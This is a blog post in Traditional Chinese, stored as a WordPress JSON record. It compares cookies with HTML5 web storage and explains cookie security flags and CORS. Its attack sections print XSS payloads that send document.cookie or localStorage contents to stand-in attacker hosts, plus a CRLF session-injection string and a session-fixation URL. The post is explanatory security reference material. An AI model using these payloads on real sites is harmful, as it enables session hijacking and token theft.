{"id":1118,"date":"2023-01-14T19:55:00","date_gmt":"2023-01-14T11:55:00","guid":{"rendered":"https:\/\/systw.net\/note\/?p=1118"},"modified":"2024-02-23T21:37:24","modified_gmt":"2024-02-23T13:37:24","slug":"%e5%89%8d%e7%ab%af%e5%84%b2%e5%ad%98","status":"publish","type":"post","link":"https:\/\/systw.net\/note\/archives\/1118","title":{"rendered":"\u524d\u7aef\u5132\u5b58"},"content":{"rendered":"\n<p><\/p>\n\n\n\n<p>HTTP\u8acb\u6c42\u4e2d\u7684Cookie\u8cc7\u8a0a\u901a\u5e38\u7528\u65bc\u5224\u65b7\u4f7f\u7528\u8005\u767b\u5165\u72c0\u614b\uff0c\u5176\u4e2d\u4f3a\u670d\u5668\u6703\u5728\u4f7f\u7528\u8005\u767b\u5165\u6642\u5c07\u52a0\u5bc6\u7684\u552f\u4e00\u8fa8\u8b58\u78bc\u63d2\u5165Cookie\u4e2d\u3002 HTML5\u7684\u4e86localStorage\u548csessionStorage\uff0c\u70ba\u512a\u5316\u4f7f\u7528\u8005\u9ad4\u9a57\u63d0\u4f9b\u4e86\u66f4\u9748\u6d3b\u7684\u9078\u64c7\u3002 localStorage\u53ef\u53d6\u4ee3Cookie\u4fdd\u5b58\u8cfc\u7269\u8eca\u8cc7\u8a0a\u6216HTML5\u904a\u6232\u7522\u751f\u7684\u672c\u5730\u6578\u64da\uff0c\u800csessionStorage\u9069\u7528\u65bc\u5206\u5272\u591a\u6b65\u9a5f\u8868\u55ae\u4ee5\u512a\u5316\u4f7f\u7528\u8005\u586b\u5beb\u9ad4\u9a57\u3002 \u9019\u4f7f\u5f97\u7279\u5b9a\u5834\u666f\u4e2d\u53ef\u4ee5\u6e1b\u5c11\u5c0dCookie\u7684\u4f9d\u8cf4\u3002<\/p>\n\n\n\n<p><\/p>\n\n\n\n<figure class=\"wp-block-table is-style-stripes\"><table><thead><tr><th>\u7279\u6027<\/th><th>Cookie\uff0fsession<\/th><th>WEBSTORAGE<\/th><\/tr><\/thead><tbody><tr><td>\u6578\u64da\u7684\u751f\u547d\u671f<\/td><td>Cookie\uff1a\u4e00\u822c\u7531\u4f3a\u670d\u5668\u751f\u6210\uff0c\u53ef\u8a2d\u5b9a\u5931\u6548\u6642\u9593\u3002<br>SESSION\uff1a\u50c5\u5728\u76ee\u524d\u6703\u8a71\u4e0b\u6709\u6548\uff0c\u95dc\u9589\u9801\u9762\u6216\u700f\u89bd\u5668\u5f8c\u6e05\u9664<\/td><td>localStorage\uff1a\u9664\u975e\u88ab\u6e05\u9664\uff0c\u5426\u5247\u6c38\u4e45\u4fdd\u5b58<br>sessionStorage\uff1a\u50c5\u5728\u76ee\u524d\u6703\u8a71\u4e0b\u6709\u6548\uff0c\u95dc\u9589\u9801\u9762\u6216\u700f\u89bd\u5668\u5f8c\u6e05\u9664<\/td><\/tr><tr><td>\u5b58\u653e\u6578\u64da\u5927\u5c0f<\/td><td>4K\u5de6\u53f3<\/td><td colspan=\"2\">\u4e00\u822c\u70ba5MB<\/td><\/tr><tr><td>\u4e0e\u670d\u52a1\u5668\u7aef\u901a\u4fe1<\/td><td>\u6bcf\u6b21\u90fd\u6703\u651c\u5e36\u5728HTTP\u982d\u4e2d\uff0c\u5982\u679c\u4f7f\u7528cookie\u4fdd\u5b58\u904e\u591a\u8cc7\u6599\u6703\u5e36\u4f86\u6548\u80fd\u554f\u984c<\/td><td colspan=\"2\">\u50c5\u5728\u5ba2\u6236\u7aef\uff08\u5373\u700f\u89bd\u5668\uff09\u4e2d\u4fdd\u5b58\uff0c\u4e0d\u53c3\u8207\u548c\u4f3a\u670d\u5668\u7684\u901a\u4fe1<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>ps: <br>JSESSIONID JAVA\u7522\u751f\u7684SESSION; PHPSESSID, PHP\u7522\u751f\u7684SESSION<\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Cookie\u5b89\u5168<\/h2>\n\n\n\n<p>\u6211\u5011\u53ef\u4ee5\u70ba\u5132\u5b58\u5728Cookie\u5bb9\u5668\u4e2d\u7684\u8cc7\u6599\u8a2d\u5b9aHeader\u53c3\u6578 <\/p>\n\n\n\n<p>\u6b63\u5e38\u8fd4\u56decookie\u5167\u5bb9\u683c\u5f0f\u5982\u4e0b <\/p>\n\n\n\n<p><code>Set-Cookie: &lt;name&gt;=&lt;value&gt;[; &lt;Max-Age&gt;=&lt;age&gt;] [; expires=&lt;date&gt;][; domain=&lt;domain_name&gt;] [; path=&lt;some_path&gt;][; secure][; HttpOnly][; SameSite=&lt;value&gt;]<\/code><\/p>\n\n\n\n<p>\u5982\u679c\u6709\u8a2d\u5b9a\u5e38\u898b\u7684cookie\u4fdd\u8b77\u6a5f\u5236 httponly, secure, samesite,\u8fd4\u56de\u5167\u5bb9\u5927\u81f4\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\tHTTP\/1.1 200 OK\n\tContent-Type: text\/html; charset=utf-8\n\tSet-Cookie: session=hYubTLpH7nlTqUNtyhKHL2ULx7o8cvGh; Secure; HttpOnly; SameSite=Strict\n\n<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">httpOnly<\/h3>\n\n\n\n<p>\u6709\u8a2d\u5b9a\u6b64flag\uff0cCookie\u53ea\u9650\u88ab\u4f3a\u670d\u5668\u7aef\u8a2a\u554f\uff0c\u7121\u6cd5\u5728\u5ba2\u6236\u7aef\u8b80\u53d6\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">secure<\/h3>\n\n\n\n<p>\u6709\u8a2d\u5b9a\u6b64flag\uff0cCookie\u53ea\u80fd\u900f\u904ehttps\u7684\u65b9\u5f0f\u50b3\u8f38\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">SameSite<\/h3>\n\n\n\n<p>\u9019\u500b\u5c6c\u6027\u53ef\u4ee5\u8b93 cookie \u5728\u8de8\u7ad9\u8acb\u6c42\u60c5\u6cc1\u4e0b\u4e0d\u6703\u88ab\u50b3\u9001\uff0c\u5f9e\u800c\u53ef\u4ee5\u963b\u6b62CSRF\uff0c\u53ef\u4ee5\u6709\u4e0b\u9762\u4e09\u7a2e\u503c\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>None\uff1a \u7121\u8ad6\u662f\u5426\u8de8\u7ad9\u90fd\u6703\u767c\u9001 Cookie\uff0c\u4f46\u524d\u63d0\u662f\u6709\u8a2d\u5b9aSecure\u5c6c\u6027<\/li>\n\n\n\n<li>Strict\uff1a \u50c5\u5141\u8a31\u4e00\u65b9\u8981\u6c42\u651c\u5e36 Cookie\uff0c\u5373\u700f\u89bd\u5668\u5c07\u53ea\u767c\u9001\u76f8\u540c\u7db2\u7ad9\u8acb\u6c42\u7684 Cookie\uff0c\u5373\u7576\u524d\u7db2\u9801 URL \u8207\u8acb\u6c42\u76ee\u6a19 URL \u5b8c\u5168\u4e00\u81f4\u3002<\/li>\n\n\n\n<li>Lax\uff1a\u5141\u8a31\u90e8\u5206\u7b2c\u4e09\u65b9\u8acb\u6c42\u651c\u5e36 Cookie \uff08\u93c8\u63a5\uff0c\u9810\u52a0\u8f09\u8acb\u6c42\uff0cGET \u8868\u55ae\uff09\uff0c\u6e38\u89bd\u5668\u9ed8\u8a8d\u6b64\u9078\u9805<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table><thead><tr><th>\u8acb\u6c42\u985e\u578b<\/th><th>\u7bc4\u4f8b<\/th><th>\u6b63\u5e38\u72c0\u6cc1<\/th><th>Lax<\/th><\/tr><\/thead><tbody><tr><td>\u9023\u7d50<\/td><td><code>&lt;a href=\"...\"&gt;&lt;\/a&gt;<\/code><\/td><td>\u767c\u9001Cookie<\/td><td>\u767c\u9001Cookie<\/td><\/tr><tr><td>\u9810\u5148\u8f09\u5165<\/td><td><code>&lt;link rel=\"prerender\" href=\"...\"\/&gt;<\/code><\/td><td>\u767c\u9001Cookie<\/td><td>\u767c\u9001Cookie<\/td><\/tr><tr><td>GET \u8868\u55ae<\/td><td><code>&lt;form method=\"GET\" action=\"...\"&gt;<\/code><\/td><td>\u767c\u9001Cookie<\/td><td>\u767c\u9001Cookie<\/td><\/tr><tr><td>POST \u8868\u55ae<\/td><td><code>&lt;form method=\"POST\" action=\"...\"&gt;<\/code><\/td><td>\u767c\u9001Cookie<\/td><td>\u4e0d\u767c\u9001<\/td><\/tr><tr><td>iframe<\/td><td><code>&lt;iframe src=\"...\"&gt;&lt;\/iframe&gt;<\/code><\/td><td>\u767c\u9001Cookie<\/td><td>\u4e0d\u767c\u9001<\/td><\/tr><tr><td>AJAX<\/td><td><code>$.get(\"...\")<\/code><\/td><td>\u767c\u9001Cookie<\/td><td>\u4e0d\u767c\u9001<\/td><\/tr><tr><td>Image<\/td><td><code>&lt;img src=\"...\"&gt;<\/code><\/td><td>\u767c\u9001Cookie<\/td><td>\u4e0d\u767c\u9001<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>ps: Chrome \u4e4b\u524d\u9810\u8a2d\u662f None \u7684\uff0cChrome80 \u5f8c\u57fa\u65bc\u5b89\u5168\u8003\u616e\u9810\u8a2d\u662f Lax<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">CORS<\/h3>\n\n\n\n<p>\u5982\u679c\u6709\u8de8\u57df\u8acb\u6c42\uff0cAccess-Control-Allow-Origin\u7684\u4f86\u6e90\u5fc5\u9808\u8981\u5728\u670d\u52d9\u5668\u7684\u63a5\u53d7\u6e05\u55ae\u4e2d\uff0c\u540c\u6642\u4e5f\u8981\u80fd\u63a5\u53d7Access-Control-Allow-Credentials: true\u7684\u8acb\u6c42\u624d\u80fd\u8de8\u57df\u50b3\u9001cookie<\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u5e38\u898b\u7684cookie\u653b\u64ca<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">\u5077cookie<\/h3>\n\n\n\n<p>\u8b93\u53d7\u5bb3\u8005\u8a2a\u554f\u653b\u64ca\u9801\u9762\u4ee5\u5077\u53d6cookie\uff0c\u5e38\u898bjs code\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>1\n. &lt;script&gt;document.write('&lt;img src=\"http:\/\/url\/news.asp?msg='+document.cookie+'\" width=0 height=0 border=0 \/&gt;');&lt;\/script&gt;\n\n2\n. &lt;script&gt;window.open('http:\/\/url\/test?cookie='+document.cookie)&lt;\/script&gt;\n\n3\n. &lt;script&gt;document.location=\"http:\/\/url\/test.php?c=\"+document.cookie;&lt;\/script&gt;<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u900f\u904eCRLF\u6ce8\u5165\u6703\u8a71 <\/h3>\n\n\n\n<p>\u6b63\u5e38\u8acb\u6c42\u7684\u8fd4\u56de\u5167\u5bb9\u5982\u4e0b <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>HTTP\/1.1 200 OK \nLocation:http:\/\/systw.net<\/code><\/pre>\n\n\n\n<p>\u4f46\u5982\u679c\u6709\u6f0f\u6d1e\uff0c\u53ea\u8981\u5728\u8acb\u6c42\u6642\u6539\u6210<code>http:\/\/systw.net%0aSet-cookie:sessionid%3Dtest<\/code>  \uff0c\u4f3a\u670d\u5668\u6703\u8fd4\u56de\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>HTTP\/1.1 200 OK\nLocation:http:\/\/systw.net\nSet-cookie:sessionid=test<\/code><\/pre>\n\n\n\n<p>\u8868\u793a\u6210\u529f\u5c31\u70ba\u53d7\u5bb3\u8005\u8a2d\u5b9a\u4e86\u4e00\u500b\u6307\u5b9a\u7684session<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u5c07Cookie\u653e\u5165URL&nbsp;GET<\/h3>\n\n\n\n<p>\u505a\u6cd5\u53ef\u53c3\u8003\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>http:&#47;&#47;&#91;redacted.com]\/path\/file.php?f=a&amp;location=12&amp;PHPSESSID={payload}<\/code><\/pre>\n\n\n\n<p>\u5982\u679c\u76ee\u6a19\u6709\u5b89\u5168\u6f0f\u6d1e\uff0c\u53ef\u4ee5\u6210\u529f\u70ba\u53d7\u5bb3\u8005\u6307\u5b9asession<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>refer<br><a href=\"https:\/\/www.jianshu.com\/p\/e6a9d7e9dbb2\" target=\"_blank\" rel=\"noopener\">https:\/\/www.jianshu.com\/p\/e6a9d7e9dbb2<\/a><br><a href=\"https:\/\/www.cnblogs.com\/mysticbinary\/p\/12560080.html\" target=\"_blank\" rel=\"noopener\">https:\/\/www.cnblogs.com\/mysticbinary\/p\/12560080.html<\/a><br><a href=\"https:\/\/medium.com\/@agrawalsmart7\/cookie-based-injection-xss-making-exploitable-with-out-exploiting-other-vulns-81132ca01d67\" target=\"_blank\" rel=\"noopener\">https:\/\/medium.com\/@agrawalsmart7\/cookie-based-injection-xss-making-exploitable-with-out-exploiting-other-vulns-81132ca01d67<\/a><br><a href=\"https:\/\/nosec.org\/home\/detail\/2793.html\" target=\"_blank\" rel=\"noopener\">https:\/\/nosec.org\/home\/detail\/2793.html<\/a><\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Web Storage\u5b89\u5168\u3000<\/h2>\n\n\n\n<p>Web Storage\u7684\u5132\u5b58\u5c0d\u50cf\u662f\u7368\u7acb\u65bc\u7db2\u57df\u540d\u7a31\u7684\uff0c\u4e5f\u5c31\u662f\u8aaa\u4e0d\u540c\u7db2\u7ad9\u4e0b\u7684Web\u61c9\u7528\u7a0b\u5f0f\u6709\u8457\u81ea\u5df1\u7368\u7acb\u7684\u5132\u5b58\u5c0d\u8c61\uff0c\u4e92\u76f8\u9593\u662f\u7121\u6cd5\u5b58\u53d6\u7684\uff0c\u5728\u9019\u4e00\u9ede\u4e0aSessionStorage\u548cLocalStorage\u662f\u76f8\u540c\u7684\u3002\u5982\u679c\u8981\u653e\u5bec\u9019\u500b\u9650\u5236\u9019\u8981\u4f7f\u7528CORS\u3002<\/p>\n\n\n\n<p>\u4f8b\u5982\uff1a<br>\u90e8\u7f72\u5728aaa.com\u4e0a\u7684Web\u61c9\u7528\u7a0b\u5f0f\u7121\u6cd5\u5b58\u53d6bbb.com\u7684Web Storage\u5132\u5b58\u7269\u4ef6\u3002<br>\u90e8\u7f72\u5728a1.aaa.com\u4e0a\u7684Web\u61c9\u7528\u7a0b\u5f0f\u7121\u6cd5\u5b58\u53d6a2.aaa.com\u7684Web Storage\u5132\u5b58\u7269\u4ef6\u3002<br>\u90e8\u7f72\u5728https:\/\/aaa.com\u4e0a\u7684Web\u61c9\u7528\u7a0b\u5f0f\u7121\u6cd5\u5b58\u53d6http:\/\/aaa.com\u7684Web Storage\u5132\u5b58\u7269\u4ef6\u3002<\/p>\n\n\n\n<p> <\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u5e38\u898b\u7684web storage\u653b\u64ca<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">\u5077web storage<\/h3>\n\n\n\n<p>\u8b93\u53d7\u5bb3\u8005\u8a2a\u554f\u653b\u64ca\u9801\u9762\u4ee5\u5077\u53d6webstorage\uff0c\u5e38\u898bjs code\u5982\u4e0b<\/p>\n\n\n\n<p>1.\u5077\u53d6\u6307\u5b9a\u7684key\u503c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;script&gt;alert(localStorage.getItem('foo'))&lt;\/script&gt;<\/code><\/pre>\n\n\n\n<p>2.\u4e0d\u77e5\u9053key\u503c\u53ef\u4ee5\u628alocalstorage\u6240\u6709\u5167\u5bb9\u986f\u793a\u51fa\u4f86<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;script&gt;alert(JSON.stringify(localStorage))&lt;\/script&gt;<\/code><\/pre>\n\n\n\n<p>3.\u628a\u76ee\u6a19localstorage\u7684\u5167\u5bb9\u8907\u88fd\u5230\u653b\u64ca\u8005\u6307\u5b9a\u4f4d\u7f6e<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;img src=\u2019https:\/\/&lt;attacker-server&gt;\/yikes?jwt=\u2019+JSON.stringify(localStorage);\u2019--!&gt;<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>refer<br><a href=\"https:\/\/jerryzou.com\/posts\/cookie-and-web-storage\/\" target=\"_blank\" rel=\"noopener\">https:\/\/jerryzou.com\/posts\/cookie-and-web-storage\/<\/a><br><a href=\"https:\/\/www.cnblogs.com\/waleswood\/p\/15930414.html\" target=\"_blank\" rel=\"noopener\">https:\/\/www.cnblogs.com\/waleswood\/p\/15930414.html<\/a><br><a href=\"http:\/\/michael-coates.blogspot.com\/2010\/07\/html5-local-storage-and-xss.html\" target=\"_blank\" rel=\"noopener\">http:\/\/michael-coates.blogspot.com\/2010\/07\/html5-local-storage-and-xss.html<\/a><br><a href=\"https:\/\/www.freebuf.com\/vuls\/228787.html\" target=\"_blank\" rel=\"noopener\">https:\/\/www.freebuf.com\/vuls\/228787.html<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>HTTP\u8acb\u6c42\u4e2d\u7684Cookie\u8cc7\u8a0a\u901a\u5e38\u7528\u65bc\u5224\u65b7\u4f7f\u7528\u8005\u767b\u5165\u72c0\u614b\uff0c &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"fifu_image_url":"","fifu_image_alt":"","_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[40],"tags":[],"class_list":["post-1118","post","type-post","status-publish","format-standard","hentry","category-clientside"],"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/1118","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/comments?post=1118"}],"version-history":[{"count":0,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/1118\/revisions"}],"wp:attachment":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/media?parent=1118"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/categories?post=1118"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/tags?post=1118"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}